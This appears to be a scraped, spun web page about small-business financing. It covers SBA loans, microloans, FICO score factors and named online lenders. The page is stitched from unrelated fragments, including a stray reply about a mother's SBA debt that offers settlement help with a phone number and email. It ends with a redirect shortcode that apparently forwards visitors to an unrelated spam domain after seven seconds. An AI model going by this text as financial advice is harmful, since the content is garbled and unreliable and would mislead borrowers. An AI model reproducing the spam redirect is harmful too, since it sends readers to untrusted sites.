Small-business loans are typically issued only for businesses with a year or more of history and revenue. Among the financing options for entrepreneurs who qualify are U.S. Small Business Administration loans, term loans, business lines of credit and invoice factoring. Startups operating for less than a year can consider other financing options.
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If the SBA accepts your offer, then everyone will be happy as long as the repayments are made. In cases where the SBA rejects the offer, you usually have an opportunity to recalibrate and submit again. Other times, the SBA will simply send the account to the Treasury Department. At that point, the Treasury Department has a full range of collection options (like garnishing wages and taking tax returns).
Then ask your SBA district office for the names of a few approved lenders. The agency also recently set up the SBA Lender Match tool to match potential borrowers with lenders. Banks follow SBA guidelines but use their own underwriting criteria to evaluate loan applications.
Since your business is established and your revenue is solid, Funding Circle, SmartBiz and Credibility Capital are good financing options. SmartBiz, with loans up to $350,000, has low-rate SBA loans, but the application and funding process can take several weeks to a few months. If you want funding quicker, Funding Circle and Credibility Capital are alternatives.
The lack of a credit history, collateral or the inability to secure a loan through a bank doesn’t mean no one will lend to you. One option would be to apply for a microloan, a small business loan ranging from $500 to $35,000. Microloans are often so small that commercial banks can’t be bothered lending the funds. Instead of a bank, you need to turn to a microlender. a non-profit organization that works differently than banks. Microlenders offer smaller loan sizes, usually require less documentation than banks, and often apply more flexible underwriting criteria. There are a few hundred microlenders throughout the U.S. and they often charge slightly higher interest rates for loans than banks. “Microloans are really for that startup entrepreneur or an entrepreneur in an existing business facing a capital gap who needs to secure capital for new equipment or to service a contract,” says Connie Evans, president and CEO of AEO, which represents 400 mostly non-profit microlenders and microenterprise organizations.
Microloans and personal loans are good options to finance your inventory and daily expenses if you’re an established business but make less than $25,000 in revenue. Microloans through nonprofits and the SBA usually have low APR and manageable payment terms, but you’d have to deal with stringent requirements. Personal loans are easier to access, but the APR can be higher than with microloans.
Your personal credit score ranges from 300 to 850 (the higher, the better), and evaluates your ability to repay your personal debts, such as credit cards, car loans and a mortgage. The FICO score, commonly used in lending decisions, is based on five factors: your payment history (35% of your score), the amounts owed on credit cards and other debt (30%), how long you’ve had credit (15%), types of credit in use (10%) and recent credit inquiries (10%). Small-business lenders require a personal credit score for loan applications because they want to see how you manage debt.
Many new small-business owners access financing through personal loans, often via a growing number of online lenders. But like credit cards, personal loans can have high APRs, especially for bad credit borrowers.
Any small business owner can apply and take advantage of SBA loan terms. If you have excellent credit, cash flow and equity in your business, all the better. If you may not qualify for a traditional commercial loan, an SBA loan may be your best bet for financing.
Who should pass: Fundation won’t be an option for any new business or sole proprietor. The application is also relatively time-intensive, and potential borrowers should be aware that this is a relatively new company with little in the way of online reviews.
For established businesses making more than $60,000 annually, SmartBiz and Lending Club are solid choices. If you want the lowest rates and longer repayment terms, SmartBiz is the best option because it offers SBA loans. If you have $75,000 or more in annual sales and prefer flexible financing, consider Lending Club’s line of credit.
This is something that many people do not understand. If you don’t resolve your SBA loan, they can deduct payments from your Social Security for the rest of your life. Your mom may qualify for a settlement with the Department of Treasury. We can help you with this, but you need to contact me very soon. Please call me at 619-279-7522 or email me at [email protected].
The Cost of Credit After you have gone through the application process and you are approved, you need to still make some important decisions. Understanding the true cost of credit can be confusing. Choosing between the available loan products can greatly affect the amount of the total or true cost of your business loan.
If you’re applying through a traditional bank, it helps to work with one that has a track record of processing SBA loans. Patty Staples, senior vice president and chief credit officer at Evangelical Christian Credit Union, suggests you ask your potential lender these questions:
You can get small-business loans from several places, including banks, nonprofit microlenders and online lenders. These lenders offer products including term loans, lines of credit and accounts receivable financing. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]